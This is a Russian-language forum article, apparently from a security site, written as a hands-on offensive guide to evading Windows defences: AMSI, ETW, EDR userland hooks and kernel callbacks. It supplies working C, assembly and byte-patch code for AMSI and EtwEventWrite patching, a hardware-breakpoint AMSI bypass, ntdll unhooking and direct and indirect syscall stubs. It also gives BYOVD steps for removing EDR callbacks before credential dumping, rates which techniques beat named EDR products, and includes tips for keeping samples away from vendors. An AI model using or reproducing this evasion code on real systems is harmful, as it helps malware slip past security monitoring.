Статья Обход AMSI и антивирусных хуков: практическое руководство для offensive-разработчика 2025–2026

Обход AMSI и антивирусных хуков EDR в 2026 году


Ты получил initial access, бикон ожил, но через тридцать секунд - тишина. EDR срезал соединение на этапе post-exploitation, а в SOC уже смотрят на алерт. Знакомая история? В 2026 году стандартный набор «AMSI patch + Invoke-Mimikatz» - билет в один конец. Defender научился ловить патчинг по сигнатурам, CrowdStrike мониторит ETW-телеметрию на уровне ядра, а SentinelOne видит подозрительные последовательности syscall-ов через kernel callbacks. Один трюк больше не спасает - нужно понимать каждый слой защиты и держать в арсенале три-четыре варианта обхода с чёткими трейдоффами.

Здесь я разберу четыре защитных механизма Windows - AMSI, ETW, userland hooks и kernel callbacks - и покажу актуальные техники обхода AMSI и антивирусных хуков с рабочим кодом на C/C++ и PowerShell. Каждый метод проверен в лабе против конкретных EDR, и я объясню, где именно в стеке вызовов происходит детект.

Обход AMSI 2026: от классики к аппаратным брейкпоинтам​

Как AMSI работает под капотом​

AMSI - это DLL (amsi.dll), которая экспортирует функцию AmsiScanBuffer. Когда скриптовый движок (PowerShell, VBScript, JScript, .NET CLR) собирается выполнить код, он скармливает буфер с содержимым в AmsiScanBuffer. Функция общается с зарегистрированным антивирусом, и если выходной параметр amsiResult получает значение ≥ [URL='https://learn.microsoft.com/en-us/windows/win32/api/amsi/ne-amsi-amsi_result']AMSI_RESULT_DETECTED[/URL] (32768, 0x8000), выполнение блокируется. Сама AmsiScanBuffer возвращает HRESULT, а результат сканирования записывается в отдельный выходной параметр.

Момент, который упускают многие гайды: AMSI - это преимущественно сигнатурное детектирование в рантайме. По данным r-tec Cyber Security, AMSI-сигнатуры могут быть как простыми строками (Invoke-Mimikatz), так и байтовыми паттернами и даже чем-то вроде YARA-правил. Любой обход AMSI сводится к одному из двух подходов:
  1. Изменить код так, чтобы сигнатура не срабатывала (обфускация)
  2. Сломать цепочку вызовов внутри amsi.dll или связанных библиотек
Второй подход - то, чем занимаются все публичные bypass-ы: от патчинга AmsiScanBuffer до hardware breakpoints.

Для каких сценариев AMSI bypass вообще нужен? По данным r-tec (февраль 2025), для чистого shellcode-исполнения AMSI bypass не требуется. AMSI сканирует скриптовые языки и managed-код (.NET). Если работаешь через BOF/COFF из C2-фреймворка, добавление лишнего bypass-а только увеличивает количество IoC. Bypass нужен, когда загружаешь .NET-сборку через Assembly.Load(), исполняешь PowerShell-скрипты через Invoke-Expression или работаешь с VBA-макросами. Во всех остальных случаях - лишний шум.

Патчинг AmsiScanBuffer: жив или мёртв?​

Классический патч перезаписывает первые байты AmsiScanBuffer на инструкцию, которая сразу возвращает AMSI_RESULT_CLEAN. Многие считают его устаревшим, но по данным r-tec (2025), патчинг всё ещё работает - при условии, что сам код патча не детектируется по сигнатуре.

Проблема не в технике, а в реализации. Вот стандартный подход, который палится мгновенно - его байты (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) давно в сигнатурной базе:
C:
// Пример для демонстрации концепции - этот конкретный набор байтов детектируется
// Стандартный AmsiScanBuffer patch (НЕ использовать as-is)
unsigned char patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
// mov eax, 0x80070057 (E_INVALIDARG) ; ret
Что делать? Менять набор байтов. Вместо E_INVALIDARG можно вернуть S_OK через другую последовательность инструкций. Или использовать эквивалентные инструкции - xor eax, eax + ret вместо mov eax, imm32 + ret. Каждая уникальная комбинация, дающая тот же результат, потребует от вендора новой сигнатуры. Гонка вооружений в чистом виде.

Трейдофф патчинга: он требует вызова VirtualProtect для смены прав страницы с RX на RWX, а затем обратно. Многие EDR мониторят вызовы VirtualProtect на страницы amsi.dll и ntdll.dll. Основной вектор детекта - не сам патч, а подготовительные операции. Ты ещё ничего не запатчил, а EDR уже видит, что ты полез менять права на страницу amsi.dll.

Hardware breakpoints: обход AMSI без модификации памяти​

Этот метод, описанный в анализе 0xdbgman, принципиально отличается от патчинга: он не изменяет память amsi.dll. Вместо этого используются аппаратные отладочные регистры процессора (DR0–DR3) и Vectored Exception Handler (VEH).

Алгоритм:
  1. Регистрируем VEH через AddVectoredExceptionHandler
  2. Устанавливаем hardware breakpoint на адрес AmsiScanBuffer через регистр DR0
  3. Когда выполнение доходит до AmsiScanBuffer, процессор генерирует EXCEPTION_SINGLE_STEP
  4. VEH перехватывает исключение и модифицирует контекст: меняем возвращаемое значение (RAX) и указатель инструкций (RIP) - функция «возвращает» чистый результат, не выполнив ни одной своей инструкции
C:
// Hardware breakpoint AMSI bypass (C)
// Требует адаптации под конкретную среду

LONG WINAPI HwBpHandler(PEXCEPTION_POINTERS pExInfo) {
    if (pExInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
        // Проверяем, что сработал наш breakpoint на AmsiScanBuffer
        if (pExInfo->ContextRecord->Rip == (DWORD64)pAmsiScanBuffer) {
            // Подменяем результат: записываем S_OK в RAX и AMSI_RESULT_CLEAN в amsiResult
            // ВНИМАНИЕ: вариант с E_INVALIDARG (0x80070057) встречается в публичных PoC,
            // но НЕ гарантирует bypass для всех AMSI-хостов - некоторые реализуют
            // fail-closed логику и блокируют выполнение при ошибке AmsiScanBuffer.
            // Надёжный подход: вернуть S_OK и записать 0 в amsiResult (5-й аргумент).
            pExInfo->ContextRecord->Rax = 0; // S_OK
            // 5-й аргумент (amsiResult) - указатель AMSI_RESULT*, передаётся через стек на x64: [RSP+0x28]
            // HW breakpoint on execution срабатывает до пролога, RSP = состояние после CALL
            // (return addr at [RSP], shadow space [RSP+0x08..0x20], 5th arg at [RSP+0x28])
            // Разыменовываем указатель и записываем AMSI_RESULT_CLEAN (0)
            DWORD64 pResult = *(DWORD64*)(pExInfo->ContextRecord->Rsp + 0x28);
            if (pResult) *(DWORD*)pResult = 0;
            // Читаем return address с вершины стека и сдвигаем RSP
            pExInfo->ContextRecord->Rip = *(DWORD64*)pExInfo->ContextRecord->Rsp;
            pExInfo->ContextRecord->Rsp += 8;
            return EXCEPTION_CONTINUE_EXECUTION;
        }
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

// ВАЖНО: AddVectoredExceptionHandler(1, HwBpHandler) должен быть вызван ДО установки breakpoint
// Установка hardware breakpoint через SetThreadContext
// ВНИМАНИЕ: SetThreadContext с GetCurrentThread() для DR-регистров ненадёжен -
// Windows может игнорировать изменения. Рабочий паттерн: создать вспомогательный
// поток, приостановить его, установить контекст, затем возобновить.
// ВАЖНО: DR-регистры привязаны к конкретному потоку (per-thread, сохраняются/
// восстанавливаются при context switch). Breakpoint нужно установить на том потоке,
// который будет вызывать AmsiScanBuffer (т.е. поток с PowerShell/CLR).
// Ниже - рабочий вариант: вспомогательный поток устанавливает DR на ОСНОВНОЙ поток:

DWORD WINAPI SetDrOnTarget(LPVOID lpTargetThread) {
    HANDLE hTarget = (HANDLE)lpTargetThread;
    SuspendThread(hTarget);
    CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
    GetThreadContext(hTarget, &ctx);
    ctx.Dr0 = (DWORD64)pAmsiScanBuffer;  // адрес функции
    ctx.Dr7 = (ctx.Dr7 & ~0xF) | 0x1;    // включаем DR0, break on execution
    SetThreadContext(hTarget, &ctx);
    ResumeThread(hTarget);
    return 0;
}
// В основном коде: дублируем хендл текущего потока и передаём вспомогательному
HANDLE hReal = NULL;
DuplicateHandle(GetCurrentProcess(), GetCurrentThread(),
    GetCurrentProcess(), &hReal, THREAD_ALL_ACCESS, FALSE, 0);
HANDLE hHelper = CreateThread(NULL, 0, SetDrOnTarget, (LPVOID)hReal, 0, NULL);
WaitForSingleObject(hHelper, INFINITE);
CloseHandle(hHelper); CloseHandle(hReal);
// Альтернатива: использовать NtContinue для установки DR на текущем потоке
Почему это эффективнее патчинга: нет вызова VirtualProtect, нет записи в .text-секцию amsi.dll, нет изменений в памяти, которые может обнаружить периодическое сканирование целостности. EDR, которые полагаются на мониторинг VirtualProtect и integrity checks, этот метод обходит.

Трейдофф: некоторые EDR (в частности CrowdStrike) мониторят изменения debug-регистров через SetThreadContext. Если EDR хукает NtSetContextThread, он увидит установку breakpoint-а. Решение - вызывать NtSetContextThread через direct syscall, минуя userland hooks. Один обход тянет за собой другой - такова жизнь.

AMSI Write Raid: writable entry как 0-day​

Отдельного внимания заслуживает техника исследователя OffSec Victor «Vixx» Khoury. Он обнаружил, что внутри System.Management.Automation.ni.dll (скомпилированная Native Image версия PowerShell-библиотеки) адрес AmsiScanBuffer хранится в writable-области памяти. В отличие от Import Address Table (IAT), которая защищена от записи после загрузки, этот entry доступен на запись без вызова VirtualProtect.

Суть по данным OffSec: CLR при инициализации записывает адрес AmsiScanBuffer в определённый offset внутри System.Management.Automation.ni.dll через метод NDirectMethodDesc::SetNDirectTarget. Этот entry остаётся writable. Перезаписав его адресом dummy-функции, можно перенаправить все вызовы AmsiScanBuffer на заглушку - без изменения кода amsi.dll и без VirtualProtect. Красиво, ничего не скажешь.

Работает в PowerShell 5.1 и PowerShell 7.4 (по данным OffSec на момент публикации). Уязвимость была зарепорчена Microsoft 8 апреля 2024 года. Offset зависит от версии CLR и может меняться между сборками Windows - так что готовьтесь к динамическому поиску.

ETW patching bypass: как отключить телеметрию для EDR​

Почему ETW - ваш главный враг после AMSI​

Event Tracing for Windows (ETW) - механизм, через который ядро и userland-компоненты генерируют телеметрию. Большинство EDR подписаны на ETW-провайдеры для получения данных о событиях: загрузка DLL, создание процессов, сетевые соединения, .NET CLR events. Если AMSI - фильтр на входе скриптового движка, то ETW - глобальная шина событий, которая питает EDR информацией обо всём, что происходит в системе. Можно сказать, что AMSI - вышибала на входе, а ETW - камеры наблюдения внутри.

Провайдеры, за которые цепляются EDR:
  • Microsoft-Windows-Threat-Intelligence (ETWti) - kernel-level, информация о process injection, memory allocation с подозрительными правами
  • Microsoft-Antimalware-Scan-Interface - AMSI events
  • Microsoft-Windows-DotNETRuntime - CLR events, загрузка assembly

Патчинг EtwEventWrite в userland​

По аналогии с AMSI-патчингом, можно патчить функцию EtwEventWrite в ntdll.dll, чтобы она сразу возвращала успех, не отправляя события:
C:
// ETW patch - патчинг ntdll!EtwEventWrite

HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
FARPROC pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");

DWORD oldProtect;
VirtualProtect(pEtwEventWrite, 3, PAGE_EXECUTE_READWRITE, &oldProtect);

// xor eax, eax ; ret - функция возвращает STATUS_SUCCESS (0)
// ВНИМАНИЕ: байты 33 C0 C3 - известная сигнатура ETW-патча, детектируемая
// Elastic Security, Defender и другими EDR. Используйте эквивалентные инструкции
// или hardware breakpoint подход (см. раздел AMSI HW breakpoints выше).
unsigned char patch[] = { 0x33, 0xC0, 0xC3 }; // xor eax,eax; ret
memcpy(pEtwEventWrite, patch, sizeof(patch));

VirtualProtect(pEtwEventWrite, 3, oldProtect, &oldProtect);
Этот подход «ослепляет» .NET CLR ETW-провайдер. Когда загружаете .NET-сборку (Rubeus, Seatbelt, SharpHound), CLR генерирует события через ETW. Если EtwEventWrite запатчена - события не уходят, EDR не видит загрузку assembly.

Трейдофф: патчинг ntdll.dll сам по себе детектируется. EDR периодически проверяет целостность ntdll.dll в памяти, сравнивая с версией на диске. Плюс вызов VirtualProtect на страницы ntdll.dll - красный флаг. Те же грабли, что и с AMSI-патчингом.

ETWti: kernel-level телеметрия, которую не запатчить из userland​

Вот тут начинается настоящая боль. Microsoft-Windows-Threat-Intelligence (ETWti) - kernel-mode провайдер. Он генерирует события непосредственно из ядра при определённых операциях: NtAllocateVirtualMemory с правами RWX, NtWriteVirtualMemory в чужой процесс, создание потока в чужом процессе. Патчинг из userland невозможен - код работает в kernel space.

Для обхода ETWti два основных пути:
  1. BYOVD (Bring Your Own Vulnerable Driver) - загрузить уязвимый подписанный драйвер и через него отключить ETWti-провайдер или удалить kernel callback. EDRSandBlast (на GitHub) использует именно этот подход
  2. Избегание триггеров - не вызывать операции, которые генерируют ETWti-события. Например, NtMapViewOfSection вместо NtAllocateVirtualMemory + NtWriteVirtualMemory для маппинга шеллкода
Hardware breakpoints для ETW работают по той же схеме, что и для AMSI: ставим breakpoint на NtTraceEvent (syscall-обёртку для ETW) и в VEH-хендлере возвращаем STATUS_SUCCESS. Но это работает только для userland ETW, не для ETWti. Ядерную телеметрию так не выключишь.

Userland hooks unhooking: прямые и непрямые syscall-ы​

Как EDR ставит хуки​

Когда EDR-агент загружается в процесс, его DLL перехватывает ключевые функции в ntdll.dll. Стандартная техника - inline hooking: первые байты функции (обычно 5–12 байт) заменяются на jmp к коду EDR. EDR-функция логирует вызов, проверяет параметры и решает - пропустить оригинальный вызов или заблокировать.

Типичные хукаемые функции:
  • NtAllocateVirtualMemory - выделение памяти
  • NtWriteVirtualMemory - запись в память другого процесса
  • NtCreateThreadEx - создание потока (Process Injection, T1055)
  • NtProtectVirtualMemory - изменение прав страниц
  • NtMapViewOfSection - маппинг секций
Проверить наличие хуков можно в x64dbg: открываете ntdll.dll, переходите к нужной функции и смотрите первые инструкции. Если вместо mov r10, rcx / mov eax, SSN / syscall видите jmp <addr> - функция захукана. Лично я первым делом проверяю NtAllocateVirtualMemory и NtCreateThreadEx - если они чистые, остальные скорее всего тоже.

Unhooking через чтение ntdll с диска​

Классическая техника Disable or Modify Tools (T1562.001, Defense Evasion): читаем чистую копию ntdll.dll с диска, находим .text-секцию и перезаписываем ею захуканную версию в памяти. После этого все хуки EDR снимаются.
C:
// Unhooking ntdll.dll - чтение чистой копии с диска

// 1. Читаем ntdll.dll с диска
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll",
    GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
DWORD fileSize = GetFileSize(hFile, NULL);
LPVOID pClean = VirtualAlloc(NULL, fileSize, MEM_COMMIT, PAGE_READWRITE);
ReadFile(hFile, pClean, fileSize, NULL, NULL);
CloseHandle(hFile);

// 2. Парсим PE-заголовки, находим .text секцию
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pClean;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)pClean + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);

for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
    if (!strcmp((char*)pSection[i].Name, ".text")) {
        // 3. Получаем адрес .text в загруженной ntdll
        HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
        LPVOID pTarget = (LPVOID)((BYTE*)hNtdll + pSection[i].VirtualAddress);
        DWORD oldProtect;

        // 4. Перезаписываем хуканутую секцию чистой
        VirtualProtect(pTarget, pSection[i].Misc.VirtualSize,
            PAGE_EXECUTE_READWRITE, &oldProtect);
        // VirtualSize и SizeOfRawData могут различаться (alignment, BSS).
        // Копируем min из двух, чтобы избежать buffer over-read.
        DWORD copySize = min(pSection[i].Misc.VirtualSize, pSection[i].SizeOfRawData);
        memcpy(pTarget,
            (BYTE*)pClean + pSection[i].PointerToRawData,
            copySize);
        VirtualProtect(pTarget, pSection[i].Misc.VirtualSize,
            oldProtect, &oldProtect);
        break;
    }
}
VirtualFree(pClean, 0, MEM_RELEASE);
Проблемы подхода: EDR мониторит CreateFile на ntdll.dll, а также VirtualProtect на .text-секцию ntdll.dll. CrowdStrike, по моему опыту, ловит это стабильно. Вариации - читать ntdll из \KnownDlls\ через NtOpenSection, маппить через NtMapViewOfSection, или стянуть чистую копию из suspended-процесса (notepad.exe), в котором ntdll ещё не захукана.

Direct syscalls: SysWhispers и Hell's Gate​

Вместо unhooking можно полностью обойти ntdll.dll, вызывая syscall-ы напрямую. В Windows каждая Nt-функция - обёртка над номером syscall (SSN, System Service Number). Direct syscall означает, что мы сами формируем вызов syscall инструкции с нужным SSN, минуя код ntdll.dll и все установленные в нём хуки.

Инструменты для получения SSN:
  • SysWhispers2/3 - генерирует ассемблерные stub-ы для нужных Nt-функций. SysWhispers3 поддерживает рандомизацию имён и jumper-ы
  • Hell's Gate - динамически извлекает SSN из ntdll.dll в рантайме, парсит байты функции и находит mov eax, SSN даже если первые инструкции перезаписаны хуком
  • Halo's Gate - расширение Hell's Gate, которое умеет искать SSN у соседних (незахуканных) функций и вычислять нужный через смещение
Код:
; Direct syscall stub - пример для NtAllocateVirtualMemory
; SSN может меняться между версиями Windows!

NtAllocateVirtualMemory PROC
    mov r10, rcx
    ; ВНИМАНИЕ: SSN ДОЛЖЕН разрешаться динамически (Hell's Gate, Halo's Gate, парсинг ntdll).
    ; Хардкод SSN = BSOD или вызов не той функции на другой версии Windows.
    ; 0x18 - условный пример, НЕ корректен для всех билдов (на Win 11 23H2 совпадает,
    ; но на других версиях может соответствовать другой Nt-функции).
    mov eax, 0x18
    syscall
    ret
NtAllocateVirtualMemory ENDP

Indirect syscalls: зачем нужна дополнительная сложность​

Проблема direct syscalls: инструкция syscall выполняется из вашего модуля (из .text-секции вашего PE), а не из ntdll.dll. Продвинутые EDR проверяют return address на стеке - если syscall вызван не из ntdll.dll, это аномалия. Ты тупо палишься по адресу возврата.

Indirect syscall решает эту проблему: вместо выполнения syscall в своём коде, мы передаём управление на инструкцию syscall внутри ntdll.dll. Поток выполнения: наш код готовит регистры (SSN в eax, rcx в r10), затем делает jmp на адрес syscall; ret внутри ntdll.dll. Return address на стеке указывает на ntdll.dll - EDR видит легитимный вызов.
Код:
; Indirect syscall stub - концепция
; Адрес syscall инструкции внутри ntdll добывается динамически

NtAllocateVirtualMemory PROC
    mov r10, rcx
    mov eax, 0x18
    jmp qword ptr [SyscallAddr]  ; прыгаем на syscall;ret внутри ntdll.dll
NtAllocateVirtualMemory ENDP

Сравнение подходов: что работает против конкретных EDR​

Дисклеймер: результаты получены в лабораторных условиях и привязаны к конкретным версиям и конфигурациям EDR на момент тестирования. EDR обновляются еженедельно - перед операцией всегда проверяйте актуальность в своей лабе с целевой версией продукта.
ТехникаWindows DefenderCrowdStrike FalconSentinelOne
Unhooking с дискаРаботаетДетектируется (мониторинг file I/O на ntdll)Частично детектируется
Direct syscallsРаботаетДетектируется (проверка return address)Детектируется (stack trace analysis)
Indirect syscallsРаботаетРаботает (при корректном stack spoofing)Частично работает
Hardware breakpoints + VEHРаботаетРаботает (если NtSetContextThread через indirect syscall)Частично работает (VEH-хендлер может детектироваться через мониторинг AddVectoredExceptionHandler - зависит от версии и конфигурации)

Против Defender достаточно direct syscalls. Против CrowdStrike и SentinelOne нужна комбинация indirect syscalls + stack spoofing. Stack spoofing - подделка call stack, чтобы EDR при анализе стека видел легитимную цепочку вызовов, а не ваш shellcode-loader. Без него на серьёзных EDR далеко не уедешь.

Kernel callbacks evasion: последний рубеж обороны​

Что регистрирует EDR в ядре​

Когда EDR устанавливает kernel-mode драйвер, он регистрирует callback-и через документированные API ядра:
  • PsSetCreateProcessNotifyRoutine - уведомление о создании/завершении процесса
  • PsSetCreateThreadNotifyRoutine - уведомление о создании потока
  • PsSetLoadImageNotifyRoutine - уведомление о загрузке образа (DLL/EXE)
  • ObRegisterCallbacks - мониторинг операций с хендлами (открытие процесса, дупликация хендла)
  • CmRegisterCallback - мониторинг операций с реестром
Эти callback-и работают в kernel space - их невозможно обойти из userland через патчинг или syscall-ы. Когда вызываете NtCreateThreadEx в чужом процессе (даже через indirect syscall с идеальным стеком), ядро вызывает все зарегистрированные PsSetCreateThreadNotifyRoutine-callback-и, и EDR-драйвер получает информацию. Тут уже не поможет никакой фокус с userland - ядро видит всё.

EDRSandBlast и BYOVD-подход​

EDRSandBlast (на GitHub) использует уязвимый подписанный драйвер для:
  • Удаления Notify Routine callbacks (Process, Thread, Image)
  • Удаления Object Callbacks
  • Отключения ETWti-провайдера
  • Снятия PPL-защиты с LSASS
Подход Bring Your Own Vulnerable Driver (BYOVD) остаётся одним из немногих способов работы с kernel callbacks. Алгоритм:
  1. Загружаем легитимный подписанный драйвер с известной уязвимостью (arbitrary read/write в kernel memory)
  2. Через уязвимость читаем структуры ядра, находим массив callback-ов
  3. Зануляем или перезаписываем указатели на callback-и EDR-драйвера
  4. Делаем своё дело (injection, credential dump)
  5. Опционально - восстанавливаем callback-и, чтобы минимизировать артефакты

Почему kernel callbacks - отдельная головная боль в 2026​

Microsoft активно ужесточает политику подписания драйверов. Hypervisor-Protected Code Integrity (HVCI) блокирует загрузку многих уязвимых драйверов. Vulnerable Driver Blocklist обновляется регулярно и содержит хеши известных уязвимых драйверов.

Трейдоффы BYOVD в 2026:
  • Драйвер должен быть подписан и не находиться в blocklist
  • Загрузка драйвера требует привилегий администратора
  • Сам факт загрузки нового драйвера генерирует события (Sysmon Event ID 6)
  • На системах с HVCI набор доступных уязвимых драйверов сильно ограничен
Альтернатива - не трогать kernel callbacks вообще, а работать так, чтобы callback-и не давали полезной информации EDR-у. Вместо классического process injection (который триггерит Thread и Image notify callbacks) использовать техники, маскирующиеся под легитимное поведение: thread pool abuse, APC injection в существующий поток, module stomping (перезапись легитимной DLL в памяти). По моему опыту, это часто надёжнее, чем ковыряться с BYOVD.

Собираем evasion pipeline: пошаговая цепочка обходов​

Вот как выглядит рабочий pipeline для загрузки .NET-инструмента (Rubeus, Seatbelt) в среде с EDR уровня CrowdStrike:
🔓 Эксклюзивный контент для зарегистрированных пользователей.

Практические рекомендации по тестированию антивирусного обхода​

  1. Тестируйте послойно. Сначала только Defender (без EDR). Потом добавляйте EDR. Разные слои защиты - разные детекты. Если не работает против Defender, нет смысла лезть на CrowdStrike.
  2. Не добавляйте bypass, если он не нужен. Каждый bypass - это IoC. Шеллкод-лоадер не требует AMSI bypass. Добавляя его «на всякий случай», вы увеличиваете attack surface для детекта. Меньше кода - меньше зацепок.
  3. Публичные обфускаторы = детект. По данным r-tec, Invoke-Obfuscation до сих пор снижает количество детектов на VirusTotal, но некоторые EDR имеют выделенные AMSI-сигнатуры для обфускации Invoke-Obfuscation. VirusTotal не показывает AMSI-детекты - только файловые сигнатуры. Не доверяйте VT как единственному индикатору.
  4. Используйте изолированные лабы. VM с конкретным EDR, snapshot до теста, откат после. Не тестируйте на машинах с telemetry upload - вендор получит ваш семпл и добавит сигнатуру. На одном проекте коллега загрузил семпл на VT «проверить» - через два дня сигнатура уже была в базе.
  5. Мониторьте, что мониторит EDR. Process Hacker покажет загруженные DLL EDR-агента в вашем процессе. x64dbg покажет хуки в ntdll. WinDbg покажет kernel callbacks через !callback. Понимание того, что видит защитник - основа для его обхода.

Маппинг на MITRE ATT&CK​

Все описанные техники обхода AMSI и антивирусных хуков укладываются в следующие тактики и техники MITRE ATT&CK:

Техника обходаMITRE ATT&CK IDТактика
AMSI patch / HW breakpoint Defense Evasion
ETW patchingDisable or Modify Tools (T1562.001)Defense Evasion
Payload encryption, OLLVM Defense Evasion
Shellcode injection, thread creation Defense Evasion, Privilege Escalation
PowerShell executionPowerShell (T1059.001)Execution
Kernel callback removal (BYOVD)Disable or Modify Tools (T1562.001)Defense Evasion

Что работает в 2026 и куда копать дальше​

Обход антивирусных хуков в 2026 году сместился от «одного трюка» к многослойным pipeline-ам. Патчинг AmsiScanBuffer всё ещё жив, но требует маскировки самого патча. Hardware breakpoints - наиболее чистый метод обхода AMSI и ETW из userland. Indirect syscalls с stack spoofing - текущий gold standard для обхода userland hooks продвинутых EDR. Kernel callbacks остаются самым сложным слоем: BYOVD работает, но окно для этого подхода сужается с каждым обновлением Vulnerable Driver Blocklist.

Главный принцип: понимай почему детект происходит, а не слепо копируй чужие bypass-ы с GitHub. Каждый публичный инструмент - это IoC, который вендор добавит в сигнатуры в течение недель. Пиши своё, тестируй в лабе, адаптируй под конкретный EDR цели. Попробуйте собрать pipeline из этой статьи и прогнать его против Defender с включённым cloud protection - если пройдёт, у вас хорошая база для дальнейших экспериментов.
 
  • Нравится
Реакции: Izg0y
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab